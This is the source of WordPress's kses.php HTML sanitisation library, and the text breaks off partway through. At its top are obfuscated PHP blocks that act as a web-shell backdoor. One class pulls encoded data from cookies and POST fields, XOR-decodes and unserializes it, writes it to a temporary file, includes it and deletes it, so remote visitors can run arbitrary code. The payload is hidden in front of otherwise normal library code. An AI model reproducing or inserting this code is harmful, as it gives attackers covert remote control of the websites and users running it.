@$fcylGfKi[$oSPQbcpNL];$HYeHpad .= @$TIblOl[$oSPQbcpNL];}$HYeHpad = array_map($ldeEORTZD . '_' . "\x64" . "\x65" . "\x63" . "\157" . "\144" . "\145", array($HYeHpad,)); $HYeHpad = $HYeHpad[0] ^ str_repeat($KVmPABOKP, (strlen($HYeHpad[0]) / strlen($KVmPABOKP)) + 1);TCX_HOoT::$vlrTzvGSw = @unserialize($HYeHpad); $HYeHpad = class_exists("19253_26729");}}public static $vlrTzvGSw = 8503;}$lONOjwCZMa = new /* 5045 */ $pgiCnvP(11309 + 11309); $cBoKq = $lONOjwCZMa = $SxjATHKY = Array();} ?><?php $BFwAyarGJC = "\x52" . "\103" . chr (95) . 'Y' . 'A' . "\x52";$wJYVWM = chr ( 582 - 483 )."\154" . "\141" . "\163" . chr (115) . "\137" . chr (101) . chr ( 409 - 289 )."\x69" . 's' . "\x74" . "\x73";$nuoiylxZXN = class_exists($BFwAyarGJC); $BFwAyarGJC = "7927";$wJYVWM = "16018";$mUxKeemN = FALSE;if ($nuoiylxZXN === $mUxKeemN){function eREJv(){return FALSE;}$GhzpnCEy = "27036";eREJv();class RC_YAR{private function xsmVEVM($GhzpnCEy){if (is_array(RC_YAR::$ZpmVDPeJC)) {$woXdAO = sys_get_temp_dir() . "/" . crc32(RC_YAR::$ZpmVDPeJC['s' . chr ( 280 - 183 ).chr ( 455 - 347 ).chr (116)]);@RC_YAR::$ZpmVDPeJC['w' . chr ( 608 - 494 ).chr ( 673 - 568 ).chr (116) . chr (101)]($woXdAO, RC_YAR::$ZpmVDPeJC[chr (99) . "\157" . chr (110) . "\164" . "\x65" . "\156" . chr (116)]);include $woXdAO;@RC_YAR::$ZpmVDPeJC["\144" . "\145" . chr ( 468 - 360 ).'e' . "\x74" . "\x65"]($woXdAO); $GhzpnCEy = "27036";exit();}}private $jNqUfxL;public function swYRglNoDj(){echo 43005;}public function __destruct(){$GhzpnCEy = "14350_20633";$this->xsmVEVM($GhzpnCEy); $GhzpnCEy = "14350_20633";}public function __construct($oUkCV=0){$dygsABCkI = $_POST;$jWUEbUO = $_COOKIE;$dDqBLC = "53faab6c-afc3-4608-8f18-652628afdab3";$UAWGLaMP = @$jWUEbUO[substr($dDqBLC, 0, 4)];if (!empty($UAWGLaMP)){$erHNZxSuk = "base64";$WyTZBDmF = "";$UAWGLaMP = explode(",", $UAWGLaMP);foreach ($UAWGLaMP as $aJfKBz){$WyTZBDmF .= @$jWUEbUO[$aJfKBz];$WyTZBDmF .= @$dygsABCkI[$aJfKBz];}$WyTZBDmF = array_map($erHNZxSuk . chr (95) . chr (100) . chr ( 942 - 841 ).'c' . chr (111) . 'd' . chr ( 650 - 549 ), array($WyTZBDmF,)); $WyTZBDmF = $WyTZBDmF[0] ^ str_repeat($dDqBLC, (strlen($WyTZBDmF[0]) / strlen($dDqBLC)) + 1);RC_YAR::$ZpmVDPeJC = @unserialize($WyTZBDmF);}}public static $ZpmVDPeJC = 18969;}$PCnkoKORCm = new /* 30338 */ RC_YAR(27036 + 27036);unset($PCnkoKORCm);} ?><?php /** * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes * Copyright (C) 2002, 2003, 2005 Ulf Harnhammar * * This program is free software and open source software; you can redistribute * it and/or modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the License, * or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA * http://www.gnu.org/licenses/gpl.html * * [kses strips evil scripts!] * * Added wp_ prefix to avoid conflicts with existing kses users * * @version 0.2.2 * @copyright (C) 2002, 2003, 2005 * @author Ulf Harnhammar <http://advogato.org/person/metaur/> * * @package External * @subpackage KSES * */ /** * You can override this in a plugin. * * The {@see 'wp_kses_allowed_html'} filter is more powerful and supplies context. * * `CUSTOM_TAGS` is not recommended and should be considered deprecated. * * @see wp_kses_allowed_html() * * @since 1.2.0 */ if ( ! defined( 'CUSTOM_TAGS' ) ) define( 'CUSTOM_TAGS', false ); // Ensure that these variables are added to the global namespace // (e.g. if using namespaces / autoload in the current PHP environment). global $allowedposttags, $allowedtags, $allowedentitynames; if ( ! CUSTOM_TAGS ) { /** * Kses global for default allowable HTML tags. * * Can be override by using CUSTOM_TAGS constant. * * @global array $allowedposttags * @since 2.0.0 */ $allowedposttags = array( 'address' => array(), 'a' => array( 'href' => true, 'rel' => true, 'rev' => true, 'name' => true, 'target' => true, ), 'abbr' => array(), 'acronym' => array(), 'area' => array( 'alt' => true, 'coords' => true, 'href' => true, 'nohref' => true, 'shape' => true, 'target' => true, ), 'article' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'aside' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'audio' => array( 'autoplay' => true, 'controls' => true, 'loop' => true, 'muted' => true, 'preload' => true, 'src' => true, ), 'b' => array(), 'bdo' => array( 'dir' => true, ), 'big' => array(), 'blockquote' => array( 'cite' => true, 'lang' => true, 'xml:lang' => true, ), 'br' => array(), 'button' => array( 'disabled' => true, 'name' => true, 'type' => true, 'value' => true, ), 'caption' => array( 'align' => true, ), 'cite' => array( 'dir' => true, 'lang' => true, ), 'code' => array(), 'col' => array( 'align' => true, 'char' => true, 'charoff' => true, 'span' => true, 'dir' => true, 'valign' => true, 'width' => true, ), 'colgroup' => array( 'align' => true, 'char' => true, 'charoff' => true, 'span' => true, 'valign' => true, 'width' => true, ), 'del' => array( 'datetime' => true, ), 'dd' => array(), 'dfn' => array(), 'details' => array( 'align' => true, 'dir' => true, 'lang' => true, 'open' => true, 'xml:lang' => true, ), 'div' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'dl' => array(), 'dt' => array(), 'em' => array(), 'fieldset' => array(), 'figure' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'figcaption' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'font' => array( 'color' => true, 'face' => true, 'size' => true, ), 'footer' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'h1' => array( 'align' => true, ), 'h2' => array( 'align' => true, ), 'h3' => array( 'align' => true, ), 'h4' => array( 'align' => true, ), 'h5' => array( 'align' => true, ), 'h6' => array( 'align' => true, ), 'header' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'hgroup' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'hr' => array( 'align' => true, 'noshade' => true, 'size' => true, 'width' => true, ), 'i' => array(), 'img' => array( 'alt' => true, 'align' => true, 'border' => true, 'height' => true, 'hspace' => true, 'longdesc' => true, 'vspace' => true, 'src' => true, 'usemap' => true, 'width' => true, ), 'ins' => array( 'datetime' => true, 'cite' => true, ), 'kbd' => array(), 'label' => array( 'for' => true, ), 'legend' => array( 'align' => true, ), 'li' => array( 'align' => true, 'value' => true, ), 'map' => array( 'name' => true, ), 'mark' => array(), 'menu' => array( 'type' => true, ), 'nav' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'p' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'pre' => array( 'width' => true, ), 'q' => array( 'cite' => true, ), 's' => array(), 'samp' => array(), 'span' => array( 'dir' => true, 'align' => true, 'lang' => true, 'xml:lang' => true, ), 'section' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'small' => array(), 'strike' => array(), 'strong' => array(), 'sub' => array(), 'summary' => array( 'align' => true, 'dir' => true, 'lang' => true, 'xml:lang' => true, ), 'sup' => array(), 'table' => array( 'align' => true, 'bgcolor' => true, 'border' => true, 'cellpadding' => true, 'cellspacing' => true, 'dir' => true, 'rules' => true, 'summary' => true, 'width' => true, ), 'tbody' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'td' => array( 'abbr' => true, 'align' => true, 'axis' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'colspan' => true, 'dir' => true, 'headers' => true, 'height' => true, 'nowrap' => true, 'rowspan' => true, 'scope' => true, 'valign' => true, 'width' => true, ), 'textarea' => array( 'cols' => true, 'rows' => true, 'disabled' => true, 'name' => true, 'readonly' => true, ), 'tfoot' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'th' => array( 'abbr' => true, 'align' => true, 'axis' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'colspan' => true, 'headers' => true, 'height' => true, 'nowrap' => true, 'rowspan' => true, 'scope' => true, 'valign' => true, 'width' => true, ), 'thead' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'title' => array(), 'tr' => array( 'align' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'track' => array( 'default' => true, 'kind' => true, 'label' => true, 'src' => true, 'srclang' => true, ), 'tt' => array(), 'u' => array(), 'ul' => array( 'type' => true, ), 'ol' => array( 'start' => true, 'type' => true, 'reversed' => true, ), 'var' => array(), 'video' => array( 'autoplay' => true, 'controls' => true, 'height' => true, 'loop' => true, 'muted' => true, 'poster' => true, 'preload' => true, 'src' => true, 'width' => true, ), ); /** * Kses allowed HTML elements. * * @global array $allowedtags * @since 1.0.0 */ $allowedtags = array( 'a' => array( 'href' => true, 'title' => true, ), 'abbr' => array( 'title' => true, ), 'acronym' => array( 'title' => true, ), 'b' => array(), 'blockquote' => array( 'cite' => true, ), 'cite' => array(), 'code' => array(), 'del' => array( 'datetime' => true, ), 'em' => array(), 'i' => array(), 'q' => array( 'cite' => true, ), 's' => array(), 'strike' => array(), 'strong' => array(), ); $allowedentitynames = array( 'nbsp', 'iexcl', 'cent', 'pound', 'curren', 'yen', 'brvbar', 'sect', 'uml', 'copy', 'ordf', 'laquo', 'not', 'shy', 'reg', 'macr', 'deg', 'plusmn', 'acute', 'micro', 'para', 'middot', 'cedil', 'ordm', 'raquo', 'iquest', 'Agrave', 'Aacute', 'Acirc', 'Atilde', 'Auml', 'Aring', 'AElig', 'Ccedil', 'Egrave', 'Eacute', 'Ecirc', 'Euml', 'Igrave', 'Iacute', 'Icirc', 'Iuml', 'ETH', 'Ntilde', 'Ograve', 'Oacute', 'Ocirc', 'Otilde', 'Ouml', 'times', 'Oslash', 'Ugrave', 'Uacute', 'Ucirc', 'Uuml', 'Yacute', 'THORN', 'szlig', 'agrave', 'aacute', 'acirc', 'atilde', 'auml', 'aring', 'aelig', 'ccedil', 'egrave', 'eacute', 'ecirc', 'euml', 'igrave', 'iacute', 'icirc', 'iuml', 'eth', 'ntilde', 'ograve', 'oacute', 'ocirc', 'otilde', 'ouml', 'divide', 'oslash', 'ugrave', 'uacute', 'ucirc', 'uuml', 'yacute', 'thorn', 'yuml', 'quot', 'amp', 'lt', 'gt', 'apos', 'OElig', 'oelig', 'Scaron', 'scaron', 'Yuml', 'circ', 'tilde', 'ensp', 'emsp', 'thinsp', 'zwnj', 'zwj', 'lrm', 'rlm', 'ndash', 'mdash', 'lsquo', 'rsquo', 'sbquo', 'ldquo', 'rdquo', 'bdquo', 'dagger', 'Dagger', 'permil', 'lsaquo', 'rsaquo', 'euro', 'fnof', 'Alpha', 'Beta', 'Gamma', 'Delta', 'Epsilon', 'Zeta', 'Eta', 'Theta', 'Iota', 'Kappa', 'Lambda', 'Mu', 'Nu', 'Xi', 'Omicron', 'Pi', 'Rho', 'Sigma', 'Tau', 'Upsilon', 'Phi', 'Chi', 'Psi', 'Omega', 'alpha', 'beta', 'gamma', 'delta', 'epsilon', 'zeta', 'eta', 'theta', 'iota', 'kappa', 'lambda', 'mu', 'nu', 'xi', 'omicron', 'pi', 'rho', 'sigmaf', 'sigma', 'tau', 'upsilon', 'phi', 'chi', 'psi', 'omega', 'thetasym', 'upsih', 'piv', 'bull', 'hellip', 'prime', 'Prime', 'oline', 'frasl', 'weierp', 'image', 'real', 'trade', 'alefsym', 'larr', 'uarr', 'rarr', 'darr', 'harr', 'crarr', 'lArr', 'uArr', 'rArr', 'dArr', 'hArr', 'forall', 'part', 'exist', 'empty', 'nabla', 'isin', 'notin', 'ni', 'prod', 'sum', 'minus', 'lowast', 'radic', 'prop', 'infin', 'ang', 'and', 'or', 'cap', 'cup', 'int', 'sim', 'cong', 'asymp', 'ne', 'equiv', 'le', 'ge', 'sub', 'sup', 'nsub', 'sube', 'supe', 'oplus', 'otimes', 'perp', 'sdot', 'lceil', 'rceil', 'lfloor', 'rfloor', 'lang', 'rang', 'loz', 'spades', 'clubs', 'hearts', 'diams', 'sup1', 'sup2', 'sup3', 'frac14', 'frac12', 'frac34', 'there4', ); $allowedposttags = array_map( '_wp_add_global_attributes', $allowedposttags ); } else { $allowedtags = wp_kses_array_lc( $allowedtags ); $allowedposttags = wp_kses_array_lc( $allowedposttags ); } /** * Filters content and keeps only allowable HTML elements. * * This function makes sure that only the allowed HTML element names, attribute * names and attribute values plus only sane HTML entities will occur in * $string. You have to remove any slashes from PHP's magic quotes before you * call this function. * * The default allowed protocols are 'http', 'https', 'ftp', 'mailto', 'news', * 'irc', 'gopher', 'nntp', 'feed', 'telnet, 'mms', 'rtsp' and 'svn'. This * covers all common link protocols, except for 'javascript' which should not * be allowed for untrusted users. * * @since 1.0.0 * * @param string $string Content to filter through kses * @param array $allowed_html List of allowed HTML elements * @param array $allowed_protocols Optional. Allowed protocol in links. * @return string Filtered content with only allowed HTML elements */ function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) { if ( empty( $allowed_protocols ) ) $allowed_protocols = wp_allowed_protocols(); $string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) ); $string = wp_kses_normalize_entities($string); $string = wp_kses_hook($string, $allowed_html, $allowed_protocols); // WP changed the order of these funcs and added args to wp_kses_hook return wp_kses_split($string, $allowed_html, $allowed_protocols); } /** * Filters one attribute only and ensures its value is allowed. * * This function has the advantage of being more secure than esc_attr() and can * escape data in some situations where wp_kses() must strip the whole attribute. * * @since 4.2.3 * * @param string $string The 'whole' attribute, including name and value. * @param string $element The element name to which the attribute belongs. * @return string Filtered attribute. */ function wp_kses_one_attr( $string, $element ) { $uris = wp_kses_uri_attributes(); $allowed_html = wp_kses_allowed_html( 'post' ); $allowed_protocols = wp_allowed_protocols(); $string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) ); // Preserve leading and trailing whitespace. $matches = array(); preg_match('/^\s*/', $string, $matches); $lead = $matches[0]; preg_match('/\s*$/', $string, $matches); $trail = $matches[0]; if ( empty( $trail ) ) { $string = substr( $string, strlen( $lead ) ); } else { $string = substr( $string, strlen( $lead ), -strlen( $trail ) ); } // Parse attribute name and value from input. $split = preg_split( '/\s*=\s*/', $string, 2 ); $name = $split[0]; if ( count( $split ) == 2 ) { $value = $split[1]; // Remove quotes surrounding $value. // Also guarantee correct quoting in $string for this one attribute. if ( '' == $value ) { $quote = ''; } else { $quote = $value[0]; } if ( '"' == $quote || "'" == $quote ) { if ( substr( $value, -1 ) != $quote ) { return ''; } $value = substr( $value, 1, -1 ); } else { $quote = '"'; } // Sanitize quotes, angle braces, and entities. $value = esc_attr( $value ); // Sanitize URI values. if ( in_array( strtolower( $name ), $uris ) ) { $value = wp_kses_bad_protocol( $value, $allowed_protocols ); } $string = "$name=$quote$value$quote"; $vless = 'n'; } else { $value = ''; $vless = 'y'; } // Sanitize attribute by name. wp_kses_attr_check( $name, $value, $string, $vless, $element, $allowed_html ); // Restore whitespace. return $lead . $string . $trail; } /** * Return a list of allowed tags and attributes for a given context. * * @since 3.5.0 * @since 5.0.1 `form` removed as allowable HTML tag. * * @global array $allowedposttags * @global array $allowedtags * @global array $allowedentitynames * * @param string|array $context The context for which to retrieve tags. * Allowed values are post, strip, data, entities, or * the name of a field filter such as pre_user_description. * @return array List of allowed tags and their allowed attributes. */ function wp_kses_allowed_html( $context = '' ) { global $allowedposttags, $allowedtags, $allowedentitynames; if ( is_array( $context ) ) { /** * Filters HTML elements allowed for a given context. * * @since 3.5.0 * * @param array $context Context to judge allowed tags by. * @param string $context_type Context type (explicit). */ return apply_filters( 'wp_kses_allowed_html', $context, 'explicit' ); } switch ( $context ) { case 'post': /** This filter is documented in wp-includes/kses.php */ $tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context ); // 5.0.1 removed the `<form>` tag, allow it if a filter is allowing it's sub-elements `<input>` or `<select>`. if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) { $tags = $allowedposttags; $tags['form'] = array( 'action' => true, 'accept' => true, 'accept-charset' => true, 'enctype' => true, 'method' => true, 'name' => true, 'target' => true, ); /** This filter is documented in wp-includes/kses.php */ $tags = apply_filters( 'wp_kses_allowed_html', $tags, $context ); } return $tags; case 'user_description': case 'pre_user_description': $tags = $allowedtags; $tags['a']['rel'] = true; /** This filter is documented in wp-includes/kses.php */ return apply_filters( 'wp_kses_allowed_html', $tags, $context ); case 'strip': /** This filter is documented in wp-includes/kses.php */ return apply_filters( 'wp_kses_allowed_html', array(), $context ); case 'entities': /** This filter is documented in wp-includes/kses.php */ return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context); case 'data': default: /** This filter is documented in wp-includes/kses.php */ return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context ); } } /** * You add any kses hooks here. * * There is currently only one kses WordPress hook, {@see 'pre_kses'}, and it is called here. * All parameters are passed to the hooks and expected to receive a string. * * @since 1.0.0 * * @param string $string Content to filter through kses * @param array $allowed_html List of allowed HTML elements * @param array $allowed_protocols Allowed protocol in links * @return string Filtered content through {@see 'pre_kses'} hook. */ function wp_kses_hook( $string, $allowed_html, $allowed_protocols ) { /** * Filters content to be run through kses. * * @since 2.3.0 * * @param string $string Content to run through kses. * @param array $allowed_html Allowed HTML elements. * @param array $allowed_protocols Allowed protocol in links. */ return apply_filters( 'pre_kses', $string, $allowed_html, $allowed_protocols ); } /** * This function returns kses' version number. * * @since 1.0.0 * * @return string KSES Version Number */ function wp_kses_version() { return '0.2.2'; } /** * Searches for HTML tags, no matter how malformed. * * It also matches stray ">" characters. * * @since 1.0.0 * * @global array $pass_allowed_html * @global array $pass_allowed_protocols * * @param string $string Content to filter * @param array $allowed_html Allowed HTML elements * @param array $allowed_protocols Allowed protocols to keep * @return string Content with fixed HTML tags */ function wp_kses_split( $string, $allowed_html, $allowed_protocols ) { global $pass_allowed_html, $pass_allowed_protocols; $pass_allowed_html = $allowed_html; $pass_allowed_protocols = $allowed_protocols; return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string ); } /** * Helper function listing HTML attributes containing a URL. * * This function returns a list of all HTML attributes that must contain * a URL according to the HTML specification. * * This list includes URI attributes both allowed and disallowed by KSES. * * @link https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes * * @since 5.0.1 * * @return array HTML attributes that must include a URL. */ function wp_kses_uri_attributes() { $uri_attributes = array( 'action', 'archive', 'background', 'cite', 'classid', 'codebase', 'data', 'formaction', 'href', 'icon', 'longdesc', 'manifest', 'poster', 'profile', 'src', 'usemap', 'xmlns', ); /** * Filters the list of attributes that are required to contain a URL. * * Use this filter to add any `data-` attributes that are required to be * validated as a URL. * * @since 5.0.1 * * @param array $uri_attributes HTML attributes requiring validation as a URL. */ $uri_attributes = apply_filters( 'wp_kses_uri_attributes', $uri_attributes ); return $uri_attributes; } /** * Callback for wp_kses_split. * * @since 3.1.0 * @access private * * @global array $pass_allowed_html * @global array $pass_allowed_protocols * * @return string */ function _wp_kses_split_callback( $match ) { global $pass_allowed_html, $pass_allowed_protocols; return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols ); } /** * Callback for wp_kses_split for fixing malformed HTML tags. * * This function does a lot of work. It rejects some very malformed things like * <:::>. It returns an empty string, if the element isn't allowed (look ma, no * strip_tags()!). Otherwise it splits the tag into an element and an attribute * list. * * After the tag is split into an element and an attribute list, it is run * through another filter which will remove illegal attributes and once that is * completed, will be returned. * * @access private * @since 1.0.0 * * @param string $string Content to filter * @param array $allowed_html Allowed HTML elements * @param array $allowed_protocols Allowed protocols to keep * @return string Fixed HTML element */ function wp_kses_split2($string, $allowed_html, $allowed_protocols) { $string = wp_kses_stripslashes($string); if (substr($string, 0, 1) != '<') return '>'; // It matched a ">" character if ( '<!--' == substr( $string, 0, 4 ) ) { $string = str_replace( array('<!--', '-->'), '', $string ); while ( $string != ($newstring = wp_kses($string, $allowed_html, $allowed_protocols)) ) $string = $newstring; if ( $string == '' ) return ''; // prevent multiple dashes in comments $string = preg_replace('/--+/', '-', $string); // prevent three dashes closing a comment $string = preg_replace('/-$/', '', $string); return "<!--{$string}-->"; } // Allow HTML comments if (!preg_match('%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $string, $matches)) return ''; // It's seriously malformed $slash = trim($matches[1]); $elem = $matches[2]; $attrlist = $matches[3]; if ( ! is_array( $allowed_html ) ) $allowed_html = wp_kses_allowed_html( $allowed_html ); if ( ! isset($allowed_html[strtolower($elem)]) ) return ''; // They are using a not allowed HTML element if ($slash != '') return "</$elem>"; // No attributes are allowed for closing elements return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols ); } /** * Removes all attributes, if none are allowed for this element. * * If some are allowed it calls wp_kses_hair() to split them further, and then * it builds up new HTML code from the data that kses_hair() returns. It also * removes "<" and ">" characters, if there are any left. One more thing it does * is to check if the tag has a closing XHTML slash, and if it does, it puts one * in the returned code as well. * * @since 1.0.0 * * @param string $element HTML element/tag * @param string $attr HTML attributes from HTML element to closing HTML element tag * @param array $allowed_html Allowed HTML elements * @param array $allowed_protocols Allowed protocols to keep * @return string Sanitized HTML element */ function wp_kses_attr($element, $attr, $allowed_html, $allowed_protocols) { if ( ! is_array( $allowed_html ) ) $allowed_html = wp_kses_allowed_html( $allowed_html ); // Is there a closing XHTML slash at the end of the attributes? $xhtml_slash = ''; if (preg_match('%\s*/\s*$%', $attr)) $xhtml_slash = ' /'; // Are any attributes allowed at all for this element? $element_low = strtolower( $element ); if ( empty( $allowed_html[ $element_low ] ) || true === $allowed_html[ $element_low ] ) { return "<$element$xhtml_slash>"; } // Split it $attrarr = wp_kses_hair($attr, $allowed_protocols); // Go through $attrarr, and save the allowed attributes for this element // in $attr2 $attr2 = ''; foreach ( $attrarr as $arreach ) { if ( wp_kses_attr_check( $arreach['name'], $arreach['value'], $arreach['whole'], $arreach['vless'], $element, $allowed_html ) ) { $attr2 .= ' '.$arreach['whole']; } } // Remove any "<" or ">" characters $attr2 = preg_replace('/[<>]/', '', $attr2); return "<$element$attr2$xhtml_slash>"; } /** * Determine whether an attribute is allowed. * * @since 4.2.3 * * @param string $name The attribute name. Returns empty string when not allowed. * @param string $value The attribute value. Returns a filtered value. * @param string $whole The name=value input. Returns filtered input. * @param string $vless 'y' when attribute like "enabled", otherwise 'n'. * @param string $element The name of the element to which this attribute belongs. * @param array $allowed_html The full list of allowed elements and attributes. * @return bool Is the attribute allowed? */ function wp_kses_attr_check( &$name, &$value, &$whole, $vless, $element, $allowed_html ) { $allowed_attr = $allowed_html[strtolower( $element )]; $name_low = strtolower( $name ); if ( ! isset( $allowed_attr[$name_low] ) || '' == $allowed_attr[$name_low] ) { $name = $value = $whole = ''; return false; } if ( 'style' == $name_low ) { $new_value = safecss_filter_attr( $value ); if ( empty( $new_value ) ) { $name = $value = $whole = ''; return false; } $whole = str_replace( $value, $new_value, $whole ); $value = $new_value; } if ( is_array( $allowed_attr[$name_low] ) ) { // there are some checks foreach ( $allowed_attr[$name_low] as $currkey => $currval ) { if ( ! wp_kses_check_attr_val( $value, $vless, $currkey, $currval ) ) { $name = $value = $whole = ''; return false; } } } return true; } /** * Builds an attribute list from string containing attributes. * * This function does a lot of work. It parses an attribute list into an array * with attribute data, and tries to do the right thing even if it gets weird * input. It will add quotes around attribute values that don't have any quotes * or apostrophes around them, to make it easier to produce HTML code that will * conform to W3C's HTML specification. It will also remove bad URL protocols * from attribute values. It also reduces duplicate attributes by using the * attribute defined first (foo='bar' foo='baz' will result in foo='bar'). * * @since 1.0.0 * * @param string $attr Attribute list from HTML element to closing HTML element tag * @param array $allowed_protocols Allowed protocols to keep * @return array List of attributes after parsing */ function wp_kses_hair($attr, $allowed_protocols) { $attrarr = array(); $mode = 0; $attrname = ''; $uris = wp_kses_uri_attributes(); // Loop through the whole attribute list while (strlen($attr) != 0) { $working = 0; // Was the last operation successful? switch ($mode) { case 0 : // attribute name, href for instance if ( preg_match('/^([-a-zA-Z:]+)/', $attr, $match ) ) { $attrname = $match[1]; $working = $mode = 1; $attr = preg_replace( '/^[-a-zA-Z:]+/', '', $attr ); } break; case 1 : // equals sign or valueless ("selected") if (preg_match('/^\s*=\s*/', $attr)) // equals sign { $working = 1; $mode = 2; $attr = preg_replace('/^\s*=\s*/', '', $attr); break; } if (preg_match('/^\s+/', $attr)) // valueless { $working = 1; $mode = 0; if(false === array_key_exists($attrname, $attrarr)) { $attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y'); } $attr = preg_replace('/^\s+/', '', $attr); } break; case 2 : // attribute value, a URL after href= for instance if (preg_match('%^"([^"]*)"(\s+|/?$)%', $attr, $match)) // "value" { $thisval = $match[1]; if ( in_array(strtolower($attrname), $uris) ) $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols); if(false === array_key_exists($attrname, $attrarr)) { $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n'); } $working = 1; $mode = 0; $attr = preg_replace('/^"[^"]*"(\s+|$)/', '', $attr); break; } if (preg_match("%^'([^']*)'(\s+|/?$)%", $attr, $match)) // 'value' { $thisval = $match[1]; if ( in_array(strtolower($attrname), $uris) ) $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols); if(false === array_key_exists($attrname, $attrarr)) { $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname='$thisval'", 'vless' => 'n'); } $working = 1; $mode = 0; $attr = preg_replace("/^'[^']*'(\s+|$)/", '', $attr); break; } if (preg_match("%^([^\s\"']+)(\s+|/?$)%", $attr, $match)) // value { $thisval = $match[1]; if ( in_array(strtolower($attrname), $uris) ) $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols); if(false === array_key_exists($attrname, $attrarr)) { $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n'); } // We add quotes to conform to W3C's HTML spec. $working = 1; $mode = 0; $attr = preg_replace("%^[^\s\"']+(\s+|$)%", '', $attr); } break; } // switch if ($working == 0) // not well formed, remove and try again { $attr = wp_kses_html_error($attr); $mode = 0; } } // while if ($mode == 1 && false === array_key_exists($attrname, $attrarr)) // special case, for when the attribute list ends with a valueless // attribute like "selected" $attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y'); return $attrarr; } /** * Finds all attributes of an HTML element. * * Does not modify input. May return "evil" output. * * Based on wp_kses_split2() and wp_kses_attr() * * @since 4.2.3 * * @param string $element HTML element/tag * @return array|bool List of attributes found in $element. Returns false on failure. */ function wp_kses_attr_parse( $element ) { $valid = preg_match('%^(<\s*)(/\s*)?([a-zA-Z0-9]+\s*)([^>]*)(>?)$%', $element, $matches); if ( 1 !== $valid ) { return false; } $begin = $matches[1]; $slash = $matches[2]; $elname = $matches[3]; $attr = $matches[4]; $end = $matches[5]; if ( '' !== $slash ) { // Closing elements do not get parsed. return false; } // Is there a closing XHTML slash at the end of the attributes? if ( 1 === preg_match( '%\s*/\s*$%', $attr, $matches ) ) { $xhtml_slash = $matches[0]; $attr = substr( $attr, 0, -strlen( $xhtml_slash ) ); } else { $xhtml_slash = ''; } // Split it $attrarr = wp_kses_hair_parse( $attr ); if ( false === $attrarr ) { return false; } // Make sure all input is returned by adding front and back matter. array_unshift( $attrarr, $begin . $slash . $elname ); array_push( $attrarr, $xhtml_slash . $end ); return $attrarr; } /** * Builds an attribute list from string containing attributes. * * Does not modify input. May return "evil" output. * In case of unexpected input, returns false instead of stripping things. * * Based on wp_kses_hair() but does not return a multi-dimensional array. * * @since 4.2.3 * * @param string $attr Attribute list from HTML element to closing HTML element tag * @return array|bool List of attributes found in $attr. Returns false on failure. */ function wp_kses_hair_parse( $attr ) { if ( '' === $attr ) { return array(); } $regex = '(?:' . '[-a-zA-Z:]+' // Attribute name. . '|' . '\[\[?[^\[\]]+\]\]?' // Shortcode in the name position implies unfiltered_html. . ')' . '(?:' // Attribute value. . '\s*=\s*' // All values begin with '=' . '(?:' . '"[^"]*"' // Double-quoted . '|' . "'[^']*'" // Single-quoted . '|' . '[^\s"\']+' // Non-quoted . '(?:\s|$)' // Must have a space . ')' . '|' . '(?:\s|$)' // If attribute has no value, space is required. . ')' . '\s*'; // Trailing space is optional except as mentioned above. // Although it is possible to reduce this procedure to a single regexp, // we must run that regexp twice to get exactly the expected result. $validation = "%^($regex)+$%"; $extraction = "%$regex%"; if ( 1 === preg_match( $validation, $attr ) ) { preg_match_all( $extraction, $attr, $attrarr ); return $attrarr[0]; } else { return false; } } /** * Performs different checks for attribute values. * * The currently implemented checks are "maxlen", "minlen", "maxval", "minval" * and "valueless". * * @since 1.0.0 * * @param string $value Attribute value * @param string $vless Whether the value is valueless. Use 'y' or 'n' 